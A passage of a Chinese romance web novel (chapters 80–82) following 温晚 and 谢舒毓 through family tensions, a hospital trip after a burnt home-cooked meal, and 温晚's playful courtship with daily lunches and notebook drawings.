走进楼栋,顿时凉快不少,温晚手背贴了贴通红的脸蛋,“其实我们都有做得不好的地方,表姑姑说,过日子不能太较真,只要不是什么触犯原则的大事情,你退一步我退一步,就过去了。” 她今天心情很好的样子,走两步忍不住蹦跶一下,眼睛亮亮对周围一切都感到十分好奇,像小孩学大人说话:“生命匆匆,我们要珍惜当下。” 谢舒毓按下电梯,“哪来的感慨,不会也是表姑姑教的吧。” 温晚摇头,说起高一年级分班之前的班长。 “我看到班主任在朋友圈发了讣告,他出车祸死了,刚结婚,不到半年。” 谢舒毓惊讶张大嘴巴,脑海中努力搜寻那人模样,对应是阳光开朗的白衣少年,头发浅浅的亚麻色,温晚曾经说想染…… “我说我喜欢他的头发,你说他缺锌,还记得吗?”温晚道。 记得,谢舒毓点头。 “看到讣告的时候,我忍不住哭了,那天我一直在回想他少年时的样子。后来我想明白,这世上除了生死都是小事。” 温晚率先迈进电梯,“三楼对吧?” 几个大人才刚进楼栋,温晚把电梯门按关上了,谢舒毓“欸”一声,“你干嘛呢。” 电梯上升,温晚继续道:“我想明白了,所以决定把一切都说清楚,不要再别别扭扭,不要再故作矜持,我要珍惜生命,享受人生,要勇敢去爱自己爱的人。” 三楼很快就到了,“叮”一声门开,她们肩并肩站在一起,你看着我,我看着你,思绪凝滞,都忘了迈步。 电梯门关,又载着她们下去,门外四个大人在等,温瑾脚还没踏进电梯,手已经揪住了温晚耳朵。 “你这个小坏蛋,故意把我们关在外面!居然还敢跑下来跟我们耀武扬威,没事找抽呢你!” “哎呦!”温晚捂着耳朵直求饶,谢舒毓赶忙上前搭救,“干妈别生气,是我按的。” “你当我傻呢!”温瑾说就是小坏蛋按的,她就站那边上。 “而且我不相信小筷子会干出这种事。” 一帮人乌泱泱进来,电梯塞满,七嘴八舌,七手八脚,吵嚷半天,最终是李蔚兰把温晚救下。 “孩子跟你开玩笑呢。” 表姑姑说小碗真笨,“你还跑下楼干什么,你就是那种杀了人还回案发现场,假装好人报警的笨蛋!” 电梯门开,温晚第一时间跑回谢舒毓身边,对妈妈很不满,“我都那么大了,还揪我耳朵,痛死了!” “让小筷子给你揉揉。”李蔚兰说。 表姑姑和她爸都以为自己是现场唯一知情者,抿紧嘴不说话,一脸高深莫测。 谢舒毓好笑,两只手捏住温晚耳朵,轻轻从耳垂一路搓到耳尖。 “好些了吧。” 温晚整张脸连着脖颈都红透。 后来打开门进到房子里,大人们在露天说话,温晚拉着谢舒毓躲进卧室,问:“你为什么要帮我揉耳朵,你对我还有感觉吗?” 谢舒毓静静低头看她。 温晚急切,“如果你说没有,我坚决不再骚扰你,你要说有,我就马上开始追你。” 她平时没少看小说,“我要追妻火葬场。” 谢舒毓想笑,极力忍住,嘴角抽搐几下,敛了神色说“没有”。 她强调,“没感觉了,对你,一点感觉也没了。” “我不信。”温晚立即否决。 谢舒毓笑了。 “你没感觉,刚才为什么搓我耳朵。”温晚质问。 “我妈让我搓的。”谢舒毓有理有据。 “你妈让你揉,没让你搓!”温晚大声。 谢舒毓说有什么区别,温晚说区别大了。谢舒毓重复说有什么区别,温晚小声,“你搓得很慢很那什么,你是在暗示我,你是闷骚。” 谢舒毓“哈哈哈”开始笑。 “你真会扯!” “本来就是嘛——” 温晚嘀咕,“再说你什么时候那么听你妈的话了。” 谢舒毓两手揣进裤兜,拽拽踱去一边,“出门在外,给她几分薄面。” 温晚小跑去谢舒毓面前,捶了她几下,素太久,只是搓搓耳朵就让她十分欢喜,这话题老也过不去。 “你个流氓,搓人家耳朵。” 谢舒毓插兜在窗边站了几秒,微侧身,手从裤兜里伸出来,捏了把她的胸。 温晚大惊失色,“你干嘛!” “耍流氓啊。”谢舒毓说。 “哎呀你坏你坏!”温晚揪住她晃来晃去。 恰在此时,门边探进个脑袋,表姑姑严肃告诫,“都给我收敛点!” 表姑姑说完走开,谢舒毓退后几步,“别忘了我们现在只是好朋友,请保持距离,注意分寸。而且你还没有追妻火葬场呢。” “我手都追断两根。”温晚摸摸自己的手指支架,两根是分开包扎的,她食指和小指曲起,无名指稍稍掰去一边,中指朝谢舒毓竖起。 真是坏。 谢舒毓捏住她脸轻晃两下,“让你皮。” “哎呀人家痛嘛。”温晚趁机一把将人抱住。 门边又探进个脑袋,这次是温晚他爸。 “都给我收敛点!” 温晚飞快松开手,马上温瑾就走到卧室门口,“主卧挺大,可以单独搞个衣帽间出来。” “确实。”这一点,谢舒毓跟温瑾不谋而合。 她一开始确实想给温晚搞个衣帽间的。 “什么时候出图纸。” 温瑾默认谢舒毓什么都会,包括室内设计。 这套房子之前原房主自己在住,墙面水电这些都弄得挺好的,谢舒毓说不用麻烦了,重新刷个漆就是。 温瑾说不管,反正只要跟装修挂钩,千万别客气,只管找她。 谢舒毓点头应好。 李蔚兰一直跟在后面不说话,大家再一次聚集到露台,她说想上卫生间,谢舒毓带她过去,站门口问她需不需要纸,她从小包里拿出一张银行卡。 “我知道你这些年对我们有怨气,你买房都不告诉我们,这些钱你拿着,是你从小到大的压岁钱,还有你大学时候打工交给我们的。” 李蔚兰自己也添了些,希望她把钱收下,怎么说都是一家人,打断骨头连着筋,没什么过不去的事。 谢舒毓本来不想要,一抬头,温晚冲她挤眉弄眼,连打手势让她收下。 于是谢舒毓又想到左叶。 那时候左叶跟家里闹得多难看,后来怎么样,老头往病床上一趟,左叶还是狠不下心不管。 “你是不是担心你们老了,我把你们送养老院,花钱雇护工打你们。” 谢舒毓开玩笑说,有心缓和气氛。 温晚连蹦带跳,口型反复说“房贷房贷”,谢舒毓最终把卡收下,问密码多少。 李蔚兰说她生日。 “不会是现改的吧?”谢舒毓瞄她。 李副校长忍不住翻白眼,“这张卡是你上大学时候用的,你的身份证办的。” 谢舒毓有点尴尬。 李蔚兰说她每年春节都会往卡里转一笔钱,说着说着,忍不住掉泪,“你到底是我生的,十月怀胎生下来的,是我身上掉下来的肉,你怎么觉得我一点也不爱你呢?我只是……” 谢舒毓想接她下半句,说只是爱得比谢舒屹少一点而已。 她到底没说。 她是她的妈妈,她不想让她那么难堪了。 李蔚兰开始哽咽的时候,温晚默默走开,谢舒毓最后轻轻抱了她一下。 “妈,别哭了。” 谢舒毓一直觉得自己太心软,后来她想通,其实不是。 她只是太渴望被爱。 那天下楼,谢舒毓莫名其妙想到小时候的一段顺口溜: ——“从小缺钙,长大缺爱,头顶锅盖,身披麻袋,你还以为你是东方不败……” 她觉得自己可能一辈子都改不了会反反复复栽倒在这些人身上。 人生就是这样,人生就是这样…… 那天回到温晚的家,温晚给谢舒毓做了一盘糖醋排骨。 她说自己在外这几年不是白忙,学会很多生活技能,很会做饭。她把大人赶出厨房,嘁哩喀喳忙活半天,端出一盘焦黑的糖醋排骨。 其实味道还行,只是糖色炒得不太好,有点糊。 “你喜欢吃糊的。”温晚托腮坐在一边。 谢舒毓抬头问:“你哪里来的根据。” “你说你喜欢闻燃烧的柴火味道,医院消毒水味道,还有以前那种指甲油味道。”温晚全都记得。 谢舒毓艰难咽下嘴里的肉,“我听说有烧炭自杀的,还是第一次尝试吃炭自杀。” “哎呀哎呀,哪里是炭嘛,你胡说!”温晚气得直跺脚。 一屋子人“哈哈”笑。 那天晚上,也是谢舒毓第一次坐救护车。 两家人难得相聚,晚上温瑾把李蔚兰留下了,三个女人睡一个房间,关起门聊天,说年轻时候那些事。 李蔚兰不走,谢舒毓当然也走不了,跟温晚住一个房间。 她半夜肚子痛,去了好几趟卫生间,出来洗手的时候,脑门一阵阵冷汗直往外冒,踉跄几步,后来“咚”一声倒地。 在救护车上,谢舒毓拉着温晚的手,神志不清说你别追了,她不想真的进火葬场。 第80章 用爱浇灌 医院说是急性肠胃炎,小病,输个液就好。 半夜两点的输液大厅比外面夜市摊还热闹,护士说每年夏天急性肠胃炎患者都特别多。 一来天热食物容易变质,二来外面那些餐饮店有些卫生环境不达标,各种霉菌和细菌就会让人生病。 “是不是吃烧烤了?”护士拍着谢舒毓手背问。 谢舒毓抬头看了眼温晚,温晚心虚抓脸蛋,旁边李蔚兰说在家吃的。 “那就是没做熟。”护士说。 谢舒毓身体一直挺好的,很少有病到需要进医院的地步。 不过那时候只有她自己,她嫌跑医院麻烦,自己不在乎也没人替她在乎,头疼脑热的小毛病全靠免疫力,有次烧到38℃还坚持去上班,结果晕倒在工位上。 后来跟左叶说起,口气还挺得意的,说张姐没算她病假,直接让她回家,赚到了。 左叶说,天生牛马圣体的关键不在于一个健康的躯体,而在于心态,那阵子喊她“圣女”。 现在,温晚全家除了外公年纪大不方便走动,全跟着救护车过来了。 众星拱月,谢舒毓感觉受宠若惊,还有点愧疚。 兴师动众的,她哪儿配啊。 表姑姑指天发誓,她的菜绝对没问题,就是温晚害的,谢舒毓晚上只多吃了那份糖醋排骨。 温瑾冷笑一声,“有些人还信誓旦旦说自己独立自主,八大菜系手到擒来,不会就是把外卖倒进盘子里吧?” “来喝口水。”温晚他爸就不跟着骂了,拧了瓶盖把水递给谢舒毓。 一人一句,话说完了,轮到李蔚兰,只有沉默。 谢舒毓理解,温晚毕竟是别人家的孩子,她不好说什么。 可还是觉得心里空落落的,忍不住想,如果是谢舒屹呢,妈妈肯定不会是现在这种反应。 每次谢舒屹生病,家里都跟打仗一样,谢舒毓手忙脚乱不知道该怎么办好,妈妈的反应和眼神让她感觉自己像尊瘟神,是她害得弟弟生病。 “干妈,表姑姑,还有干爸,你们回去吧。” 谢舒毓说:“妈你也回去吧。” 温晚赶忙接话,“我在这儿陪着,等输完液我们自己打车回去。” 他爸说老婆你们先回,两个女孩子晚上不安全,他不放心。 温晚急跺脚,狂眨眼,“爸!” “好好好。”她爸懂了,“有事第一时间打电话。” 人走光了,就剩下温晚,她睡裙外面套了件上次穿回家谢舒毓的衬衫,蹲在人脚边,嘀嘀咕咕说她排骨明明焯水了。 “你焯完就捞起来扔锅里炒糖,可糖色已经超糊,你担心糊得没法吃,就赶紧关火装盘。” 谢舒毓分析得头头是道。 温晚低呼一声,“好厉害,全让你说中。” 她说她太紧张了,“第一次给你做饭嘛,想好好表现,没想到直接把你送进医院。” 谢舒毓闭眼仰靠在椅背,脑海中反反复复都是李蔚兰那张泪湿透的脸。 她讨厌死这种感觉,她早就不渴望什么母爱父爱,可每次想到相关的人和事,心里就一阵阵堵得慌。 打一棍子给一颗糖,为什么总要折磨她。 眉心聚起苦闷,是因为生病了吗?嘴里好苦。 暂时关闭视觉,身体感受放大数倍,药液像带了冰渣,无法经体温暖热,跟随血液流经心脏,扎得疼。 恍惚中,有一双手,缓而轻落在她眉间。 谢舒毓睁开眼,温晚不知道什么时候从她脚边爬到肩头,两根手指按在她眉心,口中是《还珠格格》里的经典台词。 “你真想拿一把熨斗,把你的眉头熨平。” “你下毒不够,还要上刑,魔法伤害叠加物理攻击。”谢舒毓面无表情说道,嘴都泛白。 温晚笑出一串鹅叫,谢舒毓让她小点声,她死死捂嘴,两肩疯狂抽搐,半晌正色,“你是不是不想要她的钱,不想跟她产生更多瓜葛。” 一下说中心事。 “那明天,我帮你把卡还给她。”温晚提议。 谢舒毓摇头,“她又要哭,哭得烦死了。” 温晚说:“我偷偷的,卡放她包里,她就算发现,当着妈妈和表姑姑的面也不好跟你直说,要是没发现更好,回家自己哭,你也看不见。” 谢舒毓同意了,“先谢谢你。” 温晚抱住谢舒毓没扎针的那条胳膊,脑袋一下砸在人肩膀,“不用谢,这是我应该做的。” 她央求谢舒毓给她今天的表现打分,1-10分,谢舒毓严谨,说才凌晨三点。 谢舒毓给昨天打分,伸出一根中指还给她,“表现尚可,本来有10分,害我生病,扣9分。” 这人报复心真重!温晚不满嘟了下嘴,耍赖皮说:“昨天是试用期,不算数。” 谢舒毓说好好好,“那今天也是试用期,试用期七天,不合格就让你滚蛋。” “合格呢?”温晚追问。 谢舒毓搞资本家那套,“进入试用期,半年转正。” 温晚哀嚎,“你也太黑了吧!” 瓶里的水输了一半,谢舒毓肚子不舒服,温晚举着吊瓶带她去卫生间。 碍着输液管,卫生间的门没办法关严实,温晚必须在外面举着。 谢舒毓这辈子没这么狼狈过,站在门口,脸红透了,“你把耳朵闭上,不许听。” 温晚服了,“我只能闭眼睛,不能闭耳朵,你还是科学家呢,告诉我耳朵怎么闭。” “屁科学家。”谢舒毓咬牙切齿,“都是你害的。” “我不是陪着你呢。”温晚让她别废话了,快点进去,一会儿拉裤兜子里。 “闭嘴!”谢舒毓气得冒烟。 上完卫生间出来,温晚受伤的那只手勉强抓握着输液瓶,另一手按了洗手液,贴着谢舒毓的手上上下下搓泡泡。 谢舒毓低头看了会儿她们十指相扣的手,又抬头看镜子。 镜面积年累月的水渍,斑驳模糊,温晚在镜子里,像隔了层雾,掌心触感却真实。 她的手小小,软软的。 输完液,感觉恢复了些精神,谢舒毓想沿街走走,温晚就陪着她走。 路灯黄黄,街上没几个人了,夏风温暖不燥,临街的烧烤摊子香气飘来,温晚实在馋得不行,买了一把串边走边啃。 谢舒毓本来没什么胃口,见她吃得满嘴流油,忍不住舔了下唇。 温晚看出来了,趁机,“你喊我一声老婆,我就给你咬一口热狗肠。” 谢舒毓“呵呵”两声。 后来她爸打电话来,问她们输完没,还是不放心,要来接她们。 两人停在路边等,谢舒毓吃完那根热狗肠,一共喊了十三声“老婆”。 温晚每次只准她咬一小口,咬多就叫,大街上“嗷嗷”的。谢舒毓嫌丢人,也怕把路人吓着,只好配合。 “我真是个贱骨头。”吃完谢舒毓骂自己。 “这叫能屈能伸!”温晚纠正。 已经凌晨三点,困极,上车后温晚在车后座短暂睡着,谢舒毓用扎过针的那只手捏了捏温晚断掉的那只手。 第二天,温晚把银行卡偷偷放回李蔚兰的手提包,回房间专门翻出来个小本子,监督谢舒毓在日期下面打10分。 “再画一朵小红花。”温晚吩咐。 谢舒毓无言几秒,回头,“你是小学生吗?” “我是你老婆。”温晚挥臂。 “自封的。”谢舒毓说。 她还是给温晚画了花,用很久以前落在房间里的丙烯颜料,画了朵黄玫瑰。 小君和傅明玮都送过温晚黄玫瑰,她不服气,又不想跟别人一样,也是琢磨很久,怎样才更有创意。 “我的黄玫瑰,永不凋谢。” 温晚捧着小本子坐在床边欣赏,“大画家,真不愧是大画家。” 李蔚兰周六下午自己打车走,发现银行卡被还回来,她临走前回头看了眼谢舒毓,什么也没说。 “路上小心。”谢舒毓送到她门口,还跟平常一样。 “你呢?”李蔚兰上车前问。 “小筷子病还没好透,得再养养,周一让她干爸起早点,直接送她去杂志社上班。”温瑾都替她安排好了。 谢舒毓没有反驳。 李蔚兰终于意识到,这个小孩真的不跟她亲了,不管她怎么哄怎么劝,都不会回到她身边了。 谢舒毓回到温晚房间,把窗帘全部拉开,趴在床上晒太阳。 她们快中午才起,错过早饭,表姑姑专门煮了海鲜粥端上来,粥里有肉有菜,用料丰富,姜片去腥,口感极好。 谢舒毓端着碗吃粥的时候想,她仍然渴望亲情,但对象不一定非得是李蔚兰和她爸。 温晚快快吃完,蹦跳下楼,也没说去干什么,谢舒毓没管。 过了几分钟,谢舒毓听见楼下有人喊她的名字。 她端着碗走到床边,看见温晚拖着老长一截塑料水管站在树下招手,“谢舒毓谢舒毓,我给你看个好东西!” 温晚捏着管口,朝天挥舞,左右来回画弧线。 谢舒毓花了半分多钟思索温晚到底在抽什么疯,直到漫天潮湿的水雾间,一道绚丽的彩虹缓缓铺展开。 “你看到没,你看到没!”温晚尖叫,把一屋子大人都招出来。 “要感冒的!”表姑姑喊。 温瑾靠在门框,若有所思的表情。 手酸,实在挥不动,温晚蔫蔫垂下手臂,浑身湿了大半。 她被表姑姑揪着洗完澡出来,散着头发回到谢舒毓身边,眼睛亮亮的,问:“你喜欢彩虹吗?” 粥吃完了,谢舒毓坐在书桌前,把那个小本子推到她面前。 是一幅画,谢舒毓的角度。 树荫半遮,彩虹横跨天际,树下粉裙小人高举右手,攥一根黑色水管。 她学会用爱浇灌,脚下开满鲜花。 80-90 第81章 她心中的那种永恒 周一上班,谢舒毓离开温晚房间之前,把小本本装进自己随身的帆布包。 她以后每天都要给温晚的表现打分,然后在日期和分数下面空白处画一幅小画。具体画什么,看当天心情。 工作原因,谢舒毓以为她们至少得分开个三五天的,结果才三个多小时又见面了。 午休前,谢舒毓本来跟乌玫约好,要一起去附近新开的炒菜馆尝鲜,人还没走出办公室,收到温晚发来的照片。 照片里是个五层的粉红大饭盒,居中位置,镜头虚化处理,聚焦点是饭盒后面笔直入云的蓝色大楼。 [猜猜我在哪里。]温晚俏皮卖关子。 谢舒毓忍不住笑了下,原地打字回复:[看不出来欸。] [啊?那你走到楼下开阔的地方仔细看看。]温晚道。 谢舒毓以为会被骂“眼瞎”,心中微讶,碗大小姐真转性了? 手机揣兜,乌玫迎面走来,谢舒毓只能跟她说抱歉,“小碗来找我了,就在楼下。” “啊!”乌玫明显愣了下,有些失望。 谢舒毓人已经走出三步远,没留意她情绪,挥挥手,“下次我们再一起。” “那我自己去吃……”乌玫嘀咕着往外走。 没走出五步远,两人在电梯口相遇。 意识到自己的失态,谢舒毓抱歉笑笑,乌玫好奇问道:“你们和好了呀?” “还没。”谢舒毓想说,她正在追我呢,话到嘴边觉得有点难为情,也是碍着周围人多。 “那之前的事……”乌玫快速勾了下头发,试探着:“你不生她的气了?” 电梯门开,这句谢舒毓也就没答。 进大厦要登记,温晚嫌麻烦,玻璃门边支着脖子等了好半天,电梯运下来一拨又一拨,就是没有谢舒毓。 她正要掏出手机打电话,看见一高一矮两个女生肩并肩出了电梯门,又前后过了闸机门。 很不爽,但还是要保持微笑,温晚招手,“小筷子,小蛋糕!” 她提起手里的饭盒,邀请乌玫跟她们一起吃饭,“之前发生了很多不愉快的事,多亏你帮忙,确实也很抱歉给你造成那么多困扰,我本来想找机会单独请你吃饭的,既然那么巧碰上了,干脆一起。” “都是我亲手做的哦!”温晚强调。 “那你可得谨慎了。”谢舒毓笑着对乌玫讲述了邪恶糖醋排骨事件。 她表现得极为嫌弃,转头又说真好奇温晚今天又给她准备了什么黑暗料理。 乌玫重点完全偏移,“你们周末也在一起啊?” “我妈过生日,也是她干妈过生日,哦对了,谢舒毓妈妈也是我干妈哦!我们两个人的妈妈互为对方的干妈。”温晚挺背,大踏步往前走,浑身劲儿劲儿的。 乌玫“哦”了声。 温晚在便利店买了几瓶水和一份自热火锅,就借着店外的长桌吃饭。 乌玫自觉坐到谢舒毓对面,谢舒毓体贴帮她们把瓶盖全部拧开后又盖上。 温晚和谢舒毓把自己饭盒里的饭都分出一部分给乌玫,温晚用自热火锅的塑料盖子吃饭,饭盒让给乌玫。 两份小炒是温晚做的,红烧肉是表姑姑做的,温晚很诚实,没把功劳都揽到自己身上。 “我做肉的水平一般,但寻常的小菜还是可以的,这次味道不说有多惊艳,起码不难吃吧?” 乌玫夸奖说很棒,像小鸡啄米一粒粒用筷子叼起碗里的米饭,听温晚在旁叽叽喳喳说跟谢舒毓小时候的事,才知道她们关系那么亲近,怪不得怎么摔都摔不烂。 “你别做饭了。”谢舒毓担心温晚手伤。 “你关心我。”温晚幸福扭动身体,“我真开心。” 谢舒毓说手伤是一方面,“另一方面,你厨艺也没好到需要带伤上阵吃不到遗憾终身的地步。” 翻了个白眼,温晚手撑桌倾向乌玫,“所以你知道我为什么总跟她吵架了吧,你听听她说的是人话吗?” “怎么说话的,你别忘了你还在试用期。”谢舒毓故作严肃。 温晚立即化身柔软小绵羊,搂着人胳膊一阵咩咩叫。 青菜叶嚼到嘴发苦,咽下,乌玫喝了口水。饭吃完,她帮着收拾好饭盒,随后道别离开,温晚说明天还来,到时候一起。 乌玫笑了下,没有直接拒绝。 那天晚上,谢舒毓跟温晚回家了。 温晚到下班的点又出现在杂志社楼下,说表姑姑今天做了真正的糖醋排骨,谢舒毓没有抵挡住诱惑。 “那我的工作怎么办。”谢舒毓被她拖着上了车,心里发愁。 “休息一天嘛,明天再画。”温晚幸福靠在人肩膀,“以后我每天都要接送你。” 晚上谢舒毓吃到了滋味绝妙的糖醋排骨,饭后表姑姑带她们去附近的小广场跳舞。 谢舒毓第一次发现自己还挺有舞蹈天赋的,动作虽不够规范,但每首曲子都能精准踩在点上。 相比温晚简直就是池塘里被人一脚踹翻的小王八,四爪朝天乱刨,不知道在忙些什么。 谢舒毓退后两步,拿手机拍了个小视频发到群里。 消失很久的许徽音终于冒泡:[远古人类驯服四肢珍贵影像。] 谢舒毓退出人群,一边长椅坐下,点开她头像私聊,问她最近怎么样。 [你跟小碗呢,她手好些了吗?你最近精神状态如何。]许徽音关心。 谢舒毓才知道,左叶把她跟温晚所有糗事全部实时播报,用来讨老婆欢心。 许徽音大门不出二门不迈,天下事尽知。 “我真服了。”谢舒毓说没见过这么不要脸的人。 温晚跳完一曲,回到谢舒毓身边,听说也十分气愤,问:“那她们和好了吗?” 谢舒毓打字问:[那你们和好了吗?] 许徽音说还没。 “你千万不要跟她和好,她这人心思太重!城府太深!”温晚抢过谢舒毓手机,发送语音消息。 [叶子几次开车去救你们呢,小碗你恩将仇报,不道德。] 许徽音谴责。 温晚震惊:[我在帮你说话!] [但你应该有基本的是非观。] 许徽音回复。 温晚迷糊了,“这人什么意思啊。” 谢舒毓摸摸她的脑袋,“阿音想和好,又拉不下面子。” 温晚恍然大悟。她总喜欢去揪手指夹板里层那块蓝色海绵,两根手指尖全被她揪秃了。 “面子有什么重要的呢。” 她说她很早以前看过一部叫《面子》的电影,那时候她就知道面子是这个世界上最无聊、无用的东西,而且她天生就是不在乎不面子的那类人。 谢舒毓歪头想了想,是的,温晚从不在乎面子,她随便就往地上一坐,街上哇哇哭,根本不在乎别人怎么看她,她的感受永远排在第一位。 因为她足够自信,她拥有很多很多的爱。 当她开始学会用正确的方式爱别人,这种巨大的能量所散发出的热度,会吓坏阴沟里的小老鼠,使其短暂失明,迷了方向。 爱会一直在吗?是像地底的煤油越挖越少,还是像树越长越高。 思考这些问题,根本毫无意义,但谢舒毓就是会忍不住想,近乎变态追求她心中的那种永恒。 她尝试过勇敢,最终惨败,她有点怕了。 “你在想什么呢?”温晚拉着谢舒毓的手,一根根摸过她的关节,“心里有想法一定要对我说,我们要好好沟通,不可以有隐瞒,坦诚在任何关系里都是非常重要的。” 谢舒毓笑,“最近没少在网上看情感视频吧。” “不能是我自己悟到的吗?” 温晚最后还是承认了,“好吧确实有刷到些,但这也是好事,只要愿意改变就是好事,人这辈子哪有不犯错的。知错能改,善莫大焉。” 然后开始夸奖自己。 ——“我真厉害。” ——“我觉悟真高。” ——“我已经超越了这个世界上80%的人类。” ——“我还长得那么漂亮,我简直完美。” 谢舒毓两根手指扣在她手心,灯下看她,像有小熊娃娃在心上跳舞,毛绒绒的脚掌踩来踩去。 晚上回家洗完澡,书桌边,谢舒毓从帆布包里把小本本拿出来,还是给温晚打了10分。 “耶!耶耶耶!”温晚欢呼,高举双手,绕床满屋子转圈蹦跶。 庆祝完毕,她说要下楼洗水果,“你快画,我不看,到时候让我猜,如果猜中,你就亲我一下。” 说完快快跑开,才不管人答没答应。 谢舒毓画了今天中午在树下看到的温晚,是一只棕色的毛绒小熊,穿红色连衣裙,戴红头巾,小臂挎个竹篮,里头满满登登全是好吃的。 温晚毫不意外猜错,“我还以为你会画我跳舞时候的样子。” 她扭来扭去,不满意,“所以没有亲亲了。” “没有。”谢舒毓合上小本。 “你好冷漠。”温晚嘟嘴。 谢舒毓说“是的”。 她跑去床尾背对人坐着,生闷气,谢舒毓故意刺她,“你可以放弃。” “才不!”她转身,“想故意用冷脸逼退我,不可能!” 她眼珠一转,扭着小腰笑眯眯挨去人身边,“你不愿意亲我,可我愿意亲你啊,你又管不了我。” 说完猛地在人脸上“吧唧”一口,学大猩猩,捶胸挥臂,“嗷嗷”跑出房间。 谢舒毓摸了下脸。 “真是的。” 第82章 你越界了,朋友 她们晚上睡在一起,温晚很乖没有动手动脚,只是把脑袋塞在谢舒毓的肩窝里,故意对着人耳朵吹气。 “痒。”动动肩膀,谢舒毓脑袋往外挪挪。 “我就是要让你痒。”温晚唇贴着她发丝小声说话,然后用鼻尖点点拱出缝隙,找到耳朵,唇含住轻轻咬一口。 谢舒毓面朝天花板平躺,双手交握置于小腹,如老僧入定,“不许调皮。” “我就要调皮呢?”温晚小幅度歪了下头,嗅着她的发香,感觉满足。 “连夜打车走。”谢舒毓说。 好吧,温晚老实了,“是不是没有确定关系前,我们就只能那什么,发乎情止乎礼。” “谁跟你发乎情。”谢舒毓翻了个身,背对她,“你越界了,朋友。” 气死了!温晚对着人后脑勺好一通挤眉弄眼,嘴里还叽叽咕咕骂人。 谢舒毓闭着眼睛说:“你大点声,我听不见。” “啊?什么呀。”温晚晃晃脑袋,“人家听不懂啦。” 住温晚家,谢舒毓得早起半个多小时赶车上班,不难起,她心里太容易揣事,小学一年级第一次参加学校儿童节活动,就是她人生第一次失眠。 她的生活总是一成不变,偶发状况,前夜睡前,脑袋里会忍不住排演出一百种经过。 生活的神奇之处正在于此,这一百多种经过,第二天保管一个也踩不中。总有这样那样的意外让事件偏离预想轨道。 时间一长,谢舒毓总结出经验——别想太多。 闹钟响,温晚赖在被窝里黏黏糊糊不想起,可她又答应了谢舒毓要送她去上班。 “你别去了。”谢舒毓坐在床边穿袜子,“手伤不能开车,干嘛还跟着我挤地铁。” “让爸爸送。”温晚手肘撑身坐起,眼睛睁不开。 谢舒毓不喜欢麻烦别人,“要一直让人送,我以后都不来了。” 温晚默了几秒,猛地睁开眼,弹身坐直,“什么意思啊,以后都住这里了?” “我可没这么说。”谢舒毓去梳妆台捡了根发绳,头发胡乱绑个结,刷牙洗脸。 温晚倒下,幸福眯眼,“好,我明白了。” 谢舒毓一直很羡慕温晚的睡眠质量,像只没心事的小猪,人洗漱出来,她躺在床上又半张着嘴睡过去。 给她掖掖被子,收拾好东西,谢舒毓轻手轻脚出门。 楼下温晚她爸已经在等,谢舒毓直接说了,不想让他麻烦。 “否则我心里过意不去,干爸你也不想让我一直难受,对吧。” 她爸说不费事不费事,展臂活动筋骨,坚持要送。 温瑾抱胸从花园树后缓缓无声踱来,蓝色绸面睡裙像一汩流动的清泉,“你真是个蠢材,人家以后要常住的意思,你一天两天能送,一年两年呢,五年十年呢?孩子体贴你,一把年纪还这么不懂事。” 她爸“啊”了声,随后猛一拍脑门,“嗨呀!我真蠢。” 把谢舒毓说得有点不好意思,傻傻站在花园里,突然不会走路。 “快去上班吧,别迟到了。” 温瑾放话,谢舒毓点点头,分别道声“再见”,快步离开。 她爸觉得自己一直很小心,从来没说漏过嘴,人都走了还在那找补,“小筷子跟家里关系不好你也知道的,房子买在咱家附近这一点很能说明问题。其实我觉得她住咱家就挺好,买房子可能是担心以后小碗结婚,来往不方便又不想离得太远……” “小碗以后真结婚了,不得搬出去住?” 温瑾绝望摇头,“我虽然骂你是蠢材,你不用非得表现出来,你说的那些话,动脑子想想哪句是符合逻辑的。” “所以啊,我觉得买房子真有点没必要,她们一起住家里不就好了。”她爸还觉得自己瞒得挺好的。 答得驴唇不对马嘴,温瑾摇头懒得计较,哼笑一声,“以你的智慧,我很难跟你解释清楚啊。” 女人双手环胸,缓缓地来,缓缓地走,独留她爸,花园中傻愣。 中午温晚照例去杂志社给谢舒毓送饭,玻璃门边翘首以盼,还没等到要等的人,乌玫先出来了。 “一起呀,小蛋糕。”温晚叫住她。 乌玫摇头,“抱歉,昨晚同事跟我约好了,所以不能跟你们一起了。” “昨晚?”温晚故意使坏,“可明明是我先约的,我昨天中午就约了你。” 她晃晃手里的帆布袋子,“我还多准备了一个菜。” “可是我真的……”乌玫左右张望,希望有人来救救她。 温晚不开心嘟了下嘴,“所以你要失约了是吗?” “我不是。”乌玫小小年纪,哪里会是她的对手,快哭出来了。 眼角余光瞥见谢舒毓出电梯,温晚爽朗笑开,“逗你的啦!去跟你朋友汇合吧,我们下次有机会再一起。” 如蒙大赦,乌玫快步跑开。 谢舒毓远远看见,走跟前问“怎么了”,温晚遗憾耸肩,“她说约了朋友,不跟我们一起了。” “好吧。”谢舒毓接过饭盒,手臂搭在她肩膀,搂着人往外走。 温晚笑,微一扬眉。 小绿茶也好,小蛋糕也好,哼,道行还浅呢。 谢舒毓下班,温晚让他爸开车来接,谢舒毓说晚上不想闲着,她们就开车去宿舍,把电脑和板子带过去,顺道拿些换洗衣服。 乌玫到家,看到一帮人在收拾东西,温晚他爸出来打招呼,“小碗说,这段时间你帮了她们不少,真谢谢你。” “学姐要搬走了吗?”乌玫手抠在门框,指节微微泛白,语气难掩伤心。 “暂时不搬,她现在去我家,跟我住,但等房子装好以后,她还是会离开的。”温晚靠在门框,没受伤的那只手伸出来,食指点在额心,撩了下头发。 “真好……”乌玫笑笑,退回自己房间,把门关上。 温晚他爸开车载她们回去的路上,说的那些话跟谢舒毓心里想的一样。 “你没办法决定从谁的肚子里生出来,但你可以决定把谁认作你真正的父母,亲人,以及爱人,有句话叫人定胜天,对吧!” 谢舒毓笑了下,头转向车窗外,看沐浴在夕阳中暖金的世界,感觉到温晚轻轻握住她的手,好半天,才“嗯”一声。 之后有一个多星期,温晚每天坚持给谢舒毓带饭,接她下班。 大多时候搭地铁,偶尔打车,有一天,是周五的傍晚,天刚下过雨,不冷不热的,温晚提议说干脆来一场城市徒步。 那天她们走了三四个小时才到家,但一路吃到了好多好吃的。 温晚手指拆支架那天,谢舒毓陪她去医院,她受伤的两根手指包了半个多月,变得又细又白。 她突发奇想,“如果我用绷带把自己全身上下都包起来呢?” “木乃伊啊。”谢舒毓说。 温晚摸摸脸蛋,“我那么美,如果你看不到我的脸,你一整天都不会有好心情的。” 那天晚上,谢舒毓在小本本上给温晚画的小画,就是一只白色木乃伊碗。 照例站在树下,挎个小竹篮,篮子里全是好吃的。 “你真宠我!”温晚捧着小本,假装抹眼泪,说感动哭了。 温晚坚持送饭,晚上回家还能继续吃表姑姑做的饭,谢舒毓从体重秤上下来,说她胖了五斤。 